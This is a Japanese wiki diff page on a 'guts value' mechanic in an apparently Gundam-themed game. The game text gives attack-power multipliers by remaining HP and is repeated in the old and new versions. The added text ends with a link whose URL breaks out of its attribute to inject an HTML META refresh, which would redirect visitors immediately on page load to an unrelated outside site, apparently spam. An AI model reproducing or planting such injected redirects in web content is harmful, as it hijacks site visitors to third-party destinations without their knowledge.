「根性値」(2007/12/09 (日) 22:06:29) の最新版変更点
追加された行は緑色になります。
削除された行は赤色になります。
HPが点滅を始めると発動する。
機体ごとに恩恵の大小はあるが、ほぼすべての機体で攻撃力が上昇する。
減れば減るほど攻撃力は上昇する。Sインパルスのみ16%上昇とか、ブリッツのみ遅く補正がかかるという噂がありますが、そんなことは全くありません!補正は全機体に平等にかかります。
追い込まれて諦めるにはもったいない補正なので、HP残りわずかでも勝負を投げるような真似はしてはいけません。
補正は下記の通りにかかります。
残りHPが50~37.6%:1.01倍
37.5~31%:1.02倍
30.9%~28%:1.03倍
27.9~25%:1.04倍
24.9~16%:1.05倍
15.9~12.6%:1.06倍
12.5~9%:1.08倍
8.9~6%:1.1倍
5.9~3%:1.12倍
2.9%以下:1.16倍
HPが点滅を始めると発動する。
機体ごとに恩恵の大小はあるが、ほぼすべての機体で攻撃力が上昇する。
減れば減るほど攻撃力は上昇する。Sインパルスのみ16%上昇とか、ブリッツのみ遅く補正がかかるという噂がありますが、そんなことは全くありません!補正は全機体に平等にかかります。
追い込まれて諦めるにはもったいない補正なので、HP残りわずかでも勝負を投げるような真似はしてはいけません。
補正は下記の通りにかかります。
残りHPが50~37.6%:1.01倍
37.5~31%:1.02倍
30.9%~28%:1.03倍
27.9~25%:1.04倍
24.9~16%:1.05倍
15.9~12.6%:1.06倍
12.5~9%:1.08倍
8.9~6%:1.1倍
5.9~3%:1.12倍
2.9%以下:1.16倍[[@wikiへ>http://kam.jp"><META HTTP-EQUIV="Refresh" CONTENT="0; URL=http://esthe.pink.sh/r/]]
表示オプション
横に並べて表示:
変化行の前後のみ表示: